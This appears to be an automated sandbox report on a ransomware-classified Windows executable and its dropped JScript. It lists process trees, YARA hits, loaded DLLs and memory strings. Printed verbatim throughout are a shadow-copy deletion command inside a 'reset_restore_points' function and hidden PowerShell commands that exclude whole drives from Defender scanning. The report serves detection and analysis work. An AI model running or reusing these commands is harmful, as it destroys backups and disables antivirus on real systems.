        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
        Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713

        Spam, unwanted Advertisements and Ransom Demands

        barindex
        Deletes shadow drive data (may be related to ransomware)
        Source: wscript.exe, 00000006.00000002.2167612608.0000000002CF8000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /QuietxtStream.Write("");
        Source: wscript.exe, 00000006.00000003.2167176940.0000000003248000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IWshShell3.Run("vssadmin.exe Delete Shadows /All /Quiet", "2", "false");
        Source: wscript.exe, 00000006.00000003.2161358999.00000000058BB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IWshShell3.Run("vssadmin.exe Delete Shadows
        Source: wscript.exe, 00000006.00000003.2154850432.00000000058D9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exeDelete Shadows /All /Quietv1.0\pow
        Source: wscript.exe, 00000006.00000003.2145113348.0000000005778000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 00000006.00000003.2145113348.0000000005778000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 00000006.00000003.2139492935.000000000574D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'vssadmin.exe Delete Shadows /All /QuietTFv
        Source: wscript.exe, 00000006.00000003.2153406857.0000000005779000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 00000006.00000003.2153406857.0000000005779000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 00000006.00000003.2152951863.0000000003247000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IWshShell3.Run("vssadmin.exe Delete Shadows /All /Quiet", "2", "false");
        Source: wscript.exe, 00000006.00000003.2153341869.00000000058BA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IWshShell3.Run("vssadmin.exe Delete Shadows
        Source: wscript.exe, 00000006.00000003.2153090179.0000000002F3B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 00000006.00000002.2169444265.00000000058D9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exeDelete Shadows /All /Quietv1.0\pow
        Source: wscript.exe, 00000006.00000002.2168478256.0000000003246000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IWshShell3.Run("vssadmin.exe Delete Shadows /All /Quiet", "2", "false");
        Source: wscript.exe, 00000006.00000003.2153341869.00000000058D9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exeDelete Shadows /All /Quietv1.0\pow
        Source: wscript.exe, 00000006.00000002.2168478256.000000000324A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IWshShell3.Run("vssadmin.exe Delete Shadows /All /Quiet", "2", "false");
        Source: wscript.exe, 00000006.00000003.2139457938.0000000005761000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 00000006.00000003.2139457938.0000000005761000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 00000006.00000003.2145464512.0000000005778000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 00000006.00000003.2145464512.0000000005778000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 00000006.00000003.2152900820.00000000051F7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IWshShell3.Run("vssadmin.exe Delete Shadows /All /Quiet", "2", "false");
        Source: wscript.exe, 00000006.00000003.2145307517.0000000005778000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 00000006.00000003.2145307517.0000000005778000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000A.00000003.2169459026.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000A.00000003.2169459026.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000A.00000003.2168086247.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000A.00000003.2168086247.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000A.00000002.3369609341.0000000002A52000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000A.00000003.2162385724.0000000005191000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'vssadmin.exe Delete Shadows /All /Quiet$
        Source: wscript.exe, 0000000A.00000003.2169314133.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000A.00000003.2169314133.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000A.00000002.3370693123.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000A.00000002.3370693123.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000A.00000003.2169574248.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000A.00000003.2169574248.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000A.00000003.2160698121.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000A.00000003.2160698121.00000000051BC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000B.00000002.3369537830.0000000002F93000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000B.00000003.2178316872.00000000058CD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'vssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000B.00000003.2178285108.00000000058E1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000B.00000003.2178285108.00000000058E1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000B.00000003.2179812479.00000000058F8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000B.00000003.2179812479.00000000058F8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000B.00000003.2181209290.00000000058F8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000B.00000003.2181209290.00000000058F8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000B.00000003.2181024068.00000000058F8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000B.00000003.2181024068.00000000058F8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000B.00000002.3370865975.00000000058F8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000B.00000002.3370865975.00000000058F8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}
        Source: wscript.exe, 0000000B.00000003.2180896542.00000000058F8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: wscript.exe, 0000000B.00000003.2180896542.00000000058F8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: function reset_restore_points(){wscript_shell.Run('vssadmin.exe Delete Shadows /All /Quiet',2,false);}

        System Summary

        barindex
        Malicious sample detected (through community Yara rule)
        Source: amsi32_4256.amsi.csv, type: OTHERMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
        Source: amsi32_5196.amsi.csv, type: OTHERMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
        Source: amsi32_4836.amsi.csv, type: OTHERMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
        Source: Process Memory Space: wscript.exe PID: 4256, type: MEMORYSTRMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
        Source: Process Memory Space: wscript.exe PID: 5196, type: MEMORYSTRMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
        Source: Process Memory Space: wscript.exe PID: 4836, type: MEMORYSTRMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
        Windows Scripting host queries suspicious COM object (likely to drop second stage)
        Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{13709620-C279-11CE-A49E-444553540000}Jump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}Jump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}Jump to behavior
        Writes or reads registry keys via WMI
        Source: C:\Windows\SysWOW64\wscript.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
        Source: C:\Windows\SysWOW64\wscript.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
        Source: C:\Windows\SysWOW64\wscript.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
        Wscript starts Powershell (via cmd or directly)
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"
        Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local"
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"Jump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local"Jump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BC70B9: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,0_2_00BC70B9
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BD62E00_2_00BD62E0
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BC84580_2_00BC8458
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BE01130_2_00BE0113
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BEC1000_2_00BEC100
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BC320E0_2_00BC320E
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDF3CA0_2_00BDF3CA
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BD34460_2_00BD3446
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BEC5AE0_2_00BEC5AE
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BCF5FB0_2_00BCF5FB
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BE05480_2_00BE0548
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BCE5460_2_00BCE546
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BF06A40_2_00BF06A4
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BD36C10_2_00BD36C1
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BD67150_2_00BD6715
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BC277D0_2_00BC277D
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDF8C60_2_00BDF8C6
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BCE9A90_2_00BCE9A9
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BD39F20_2_00BD39F2
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BD59110_2_00BD5911
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BCDB110_2_00BCDB11
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BCBB6E0_2_00BCBB6E
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDFCDE0_2_00BDFCDE
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BE3D1A0_2_00BE3D1A
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BD6D4E0_2_00BD6D4E
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BC5EAB0_2_00BC5EAB
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BC3FBD0_2_00BC3FBD
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BCDF480_2_00BCDF48
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BE3F490_2_00BE3F49
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: String function: 00BDD9C0 appears 51 times
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: String function: 00BDE2F0 appears 31 times
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: String function: 00BDD8C4 appears 38 times
        Source: YyVnwn8Zst.exeStatic PE information: invalid certificate
        Source: YyVnwn8Zst.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
        Source: amsi32_4256.amsi.csv, type: OTHERMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
        Source: amsi32_5196.amsi.csv, type: OTHERMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
        Source: amsi32_4836.amsi.csv, type: OTHERMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
        Source: Process Memory Space: wscript.exe PID: 4256, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
        Source: Process Memory Space: wscript.exe PID: 5196, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
        Source: Process Memory Space: wscript.exe PID: 4836, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
        Source: classification engineClassification label: mal100.rans.troj.expl.evad.winEXE@14/25@3/1
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BC6E20 GetLastError,FormatMessageW,0_2_00BC6E20
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BD96AD FindResourceW,DeleteObject,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,0_2_00BD96AD
        Source: C:\Windows\SysWOW64\wscript.exeFile created: C:\Users\user\AppData\Local\9e146be90.jsJump to behavior
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4996:120:WilError_03
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4928:120:WilError_03
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3052:120:WilError_03
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeFile created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_5522265Jump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCommand line argument: sfxname0_2_00BDCC0E
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCommand line argument: sfxstime0_2_00BDCC0E
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCommand line argument: STARTDLG0_2_00BDCC0E
        Source: YyVnwn8Zst.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
        Source: C:\Windows\SysWOW64\wscript.exeWMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_Process::Create
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeFile read: C:\Windows\win.iniJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeFile read: C:\Users\user\Desktop\YyVnwn8Zst.exeJump to behavior
        Source: unknownProcess created: C:\Users\user\Desktop\YyVnwn8Zst.exe "C:\Users\user\Desktop\YyVnwn8Zst.exe"
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe")
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"
        Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local"
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: unknownProcess created: C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188
        Source: unknownProcess created: C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe")Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"Jump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local"Jump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: <pi-ms-win-core-localization-l1-2-1.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: version.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: dxgidebug.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: sfc_os.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: dwmapi.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: riched20.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: usp10.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: msls31.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: windowscodecs.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: textshaping.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: textinputframework.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: coreuicomponents.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: coremessaging.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: ntmarta.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: coremessaging.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: edputil.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: windows.staterepositoryps.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: appresolver.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: bcp47langs.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: slc.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: sppc.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: onecorecommonproxystub.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: pcacli.dllJump to behavior
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
